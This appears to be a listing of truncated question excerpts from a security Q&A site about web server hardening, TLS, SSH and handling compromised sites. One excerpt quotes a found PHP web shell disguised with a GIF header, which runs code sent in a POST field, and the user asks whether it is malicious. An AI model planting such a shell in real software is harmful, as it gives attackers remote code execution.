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Is web application connected to a database via an application server is more secure?

I have heard from my colleagues and some other people on web suggest that it is more secure to run this configuration: Web server -> Application server -> Database, than this: Web server -> ...
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Does password-protecting a server's BIOS help in securing sensitive data?

I'm running a server of which I protected the BIOS with a password. One doesn't have to enter this password before booting, but before entering the BIOS setup. I just did this from routine. However, ...
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What can go wrong when allowing file uploads on a web server? [closed]

Some basics that are self-evident: Infected/harmful file can be uploaded for other users to download A bug in the web-site's code allowing code execution, thus allowing execution of the uploaded ...
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What is most secure web framework for a secure website? [closed]

What is most secure web framework for a secure website? Give me the best tips for a server and framework configuration: OS name-version, webserver, database, php. And tips for securing it. Thank you ...
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Should I use a second/dedicated IP address for SSH?

When running a public web server (e.g., with Apache), I've heard it's recommended to bind SSH to a second IP address, different from the one Apache is listening to. But for me it seems like this is ...
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What are the main advantages of using LibreSSL in favor of OpenSSL

What are the main advantages of using LibreSSL vs OpenSSL? As I understood LibreSSL is a fork of OpenSSL: LibreSSL is a version of the TLS/crypto stack forked from OpenSSL in 2014, with goals of ...
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How secure and how to find if a website use Flexible SSL from Cloudflare?

How secure is that technology? Can someone tamper with your traffic between a server and Cloudflare in the first place? And if the answer is yes, how can you check if a website is using the ...
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Is this MITM attack possible? [closed]

I am wondering if this would be possible. Lets say that I have a server in my home and it is properly port forwarded and everything which means that the website can be accessed outside of the network. ...
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Securely storing an encryption key on AWS

Regardless of the format of encryption, what is the best way to store an encryption key on an AWS EC2 server? I am storing encrypted information in a MySQL database and my cryptography key is stored ...
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Automatic client executable updating

Scenario I am currently developing an application which should automatically update (if applicable) every time it is executed. The update would involve replacing the main.exe and any assets in an ...
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Database Protection : External & Internal

My company is using a weird database setup and I can't really figure what it is adding in term of security. Our Setup Outside World [Firewall] DMZ – Web Server [Firewall] External Database ...
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Non-Sensitive/Non-Critical Database and Web server protections?

I have an unrestricted DMZ that is currently set up with a non-critical/non-sensitive web server and database server inside. The database server gets interfaces from two critical systems but does not ...
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Retention periods for web logs

I work for an ASP that provides banking solutions Card Services Payments ACH Online Banking And others Back Story: Our company provides an "all in one" solution or parts thereof, we are ...
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Are there any downsides to using Let's Encrypt for a website's SSL certificates?

On the advantages side, I see several benefits to using the Let's Encrypt service (e.g., the service is free, easy to setup, and easy to maintain). I'm wondering what, if any, are the disadvantages to ...
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Hashcash, is this really used?

I just heard about this term, is it really used? The concept does not seem new, is it used and/or implemented in current technologies?
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need to hide server details using apache server whenever there is 404 or 403 error [closed]

I need need to hide server details using apache server whenever there is 404 or 403 error. I tried with the below two changes in httpd.conf file. ServerSignature Off ServerTokens Prod ...
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3rd Party Authentication protocol

I have a hardware device (H), phone (P) and web server (S). I would like P to be able to send commands to H, but only if it is authorized to do so. Permissions are stored on server. Technically I ...
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Is my server vulnerable to a perl exploit?

I have a few worrying entries in my web server logs and I'm wondering if this means that my server is vulnerable. Firstly, the following seems to fail, receiving a 404 response: ...
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CVE-2015-4852: Infected traffic pattern

Assuming that my Weblogic server is compromised by this vulnerability, what would the traffic pattern look like? I'm assuming I would see HTTP requests attempting to make connections directly from ...
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Block web content authoring from internet

In implementations where one uses content management, which is the better method to secure the web content authoring pages from access from internet? Configuring httpd.conf to restrict the content ...
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Is it a breach to have a ssh program into a tomcat server

I start to working in a project here and find something that at least seems odd to me. Since I'm not an specialist I came here to ask. It is a Java Web project that was made to run into a Tomcat ...
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OSSEC, what is it telling me about port changes?

I've been diving into OSSEC for the last couple of months, but I feel unclear on one of it's alerts. I've provided the alert below. The main difference I see in previous output and current output is ...
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Apart from uploaded files, how else can 777 permissions on website files/folders be exploited?

I have seen several instances of php websites being compromised due to permissions being set as 777 on the website folders. In these instances the cause was a foreign file uploaded by the attacker. ...
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How to trace someone's(hackers) IP who made a lot of request on my website? [duplicate]

Somebody made a lot of(unusual, like never before) http requests on my website, I checked this thing on google analytics and it shows that someone with no lang, no country has visited my website. My ...
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Starting a server without SElinux or Apparmor [duplicate]

The Debian kernel that compiled for Beaglebone Black, doesn't support SElinux and Apparmor, AFAIK. I just want to know, is it safe to put a server on the internet without SElinux or Apparmor? However ...
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is g-zipping assets a security concern?

I recently noticed that the assets sent to clients aren't gzipped or minified on either my companies intranet or its public facing website. I brought this to the attention of the networking ...
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folder and file permission shared host advice

I have a website with a webhost company. I wrote a little php/mysql application - no file uploads, just administering data from the DB and creating pdf with TCPDF. There are folders like css and js ...
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What are the security implications of enabling a SNI-hole on a web server?

A web server (let's say Apache 2.4) implements SNI. It is configured with a 4096 bit SHA384-signed Wildcard Certificate (*.land.org) with a Subject Alternative Name (land.org). The Certificate ...
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Where to report malicious URLs, phishing, and malicious web sites?

I recently discovered that my web site was hacked: there was a hidden HTML div that's about selling shoes...! I googled the text in question and voila: thousands of sites have been hacked. Check this ...
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Is it necessary to update JRE in an Apache Tomcat Server?

We have a Java web application contained in an apache tomcat instance. JRE version is 7.0.51 and Tomcat version is 7.0.42. Users have expressed their concerns about Java 7's support/updates being ...
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Does the server administrator see what sites I visit

I have seen a lot of answers but here is the peculiarity of mine. In the office we all have a login to the WiFi, First with that login, if I use Tor will my visited sites still be logged by the ...
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Why pull upgrade from production server rather pushing them from development server?

I am reading a book on security which suggest that if you have both development and production server and if you make some change, you should pull them from production server rather pushing them from ...
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How do attackers find the IP addresses of recently deployed servers?

About two months ago, I deployed an Ubuntu server with as main purpose serving a web app. However, I'm still developing the app and only gave the server IP to my coworker and some friends for testing. ...
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Can someone tell me whether this is Cross-site scripting attack or normal log entry?

Can someone shed light on this logs . ****GET /list25/ADMN/Eligibility/EligibilityResponse.aspx ...
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Spider Attack from several search engines at once

Hello my server is getting hit by spiders from bingbot, google, yahoo, yandex, and some place in the UK all at the same time crashing it. While I have no reason to think any one person did this, it ...
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How to validate Excel data to protect against XSS?

My application is dynamically constructing a source URL and then writing the resource file (Excel) directly to the response. The URL is read from a properties file, based on the application ...
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SSH Access to Personal Server sudo vs su

I have a server running Debian, which is on the web, and has few traffic (I use it essentially for some coulds, calendars, etc. for me). In an attempt to secure its access, I made the following in the ...
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What should I be aware of when opening my home server to the internet?

I've built a home server (pretty much just a basic PC with a couple of big HDDs) which I would like to use as an FTP server and a minecraft server. Both would be for members of my gaming community. I ...
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How safe is it to install XAMPP on my home computer to test PHP code?

I want to test some PHP code and I figure the best way is to install XAMPP - but I'm nervous about installing server software on my home computer. Is it generally safe to install XAMPP (given that I ...
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Collect XML files from web server with secure authentication

I need to collect XML files from a 3rd party's web server. These XML files are generated by said 3rd party on a daily basis (e.g. data_2015-11-26.xml) and should therefore be fetched at least daily ...
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Should I disable TLS 1.0 on my servers?

The PCI Data Security Standard 3.1 recommends disabling "early TLS" along with SSL: SSL and early TLS are not considered strong cryptography and cannot be used as a security control after June 30, ...
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How to securely send your user and hashed password to a server? [duplicate]

I'm making a user system for an app I'm developing, and I have a client side (the mobile app itself) and a server side (where the database remains) for it. The app sends get and post petitions to the ...
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Finding hidden page on webserver [duplicate]

I have a web server with 2 page: index.html and secret.php. The content of index.html is: <html><body><h1>It works!</h1></body></html> You can see the ...
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Best practice for https Private Key Generation

I am working with a security person that baffles me a bit with the practices he performs. Besides the issue of this person insisting on bypassing every security measure in place we have got into it ...
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Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
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Is there any way a website can show it hasn't been “hijacked” by the authorities? [closed]

I heard about warrant canaries and thought the idea was interesting. My understanding of what they are is a website or online service publishes a statement periodically that they have not been served ...
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Is it PCI-compliant/kosher to send a credit card number to a 3rd party sever from a mobile client?

I am building a mobile app, and part of the the functionality of the app is to place an order with a 3rd party. The 3rd party server accepts a credit card number string. Can I build a mobile client to ...
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How to add a malicious file scanner to live server?

One of my WordPress websites recently got hacked, and I had to download the full website to my local PC and clean it. As soon as I downloaded the website, my antivirus software found the malicious ...
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How do hackers get into servers? [closed]

I am a web developer. I've checked How does hacking work? and I know all of the things described in the most upvoted post. However, I can't understand how do hackers get into servers when the website ...
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HSTS on sites available over HTTP and HTTPS

I'm wondering if it makes sense to enable HSTS on a site that is served over HTTPS as well as over HTTP. What I mean is to add HSTS-Header if the site is accessed over HTTPS. But there is no ...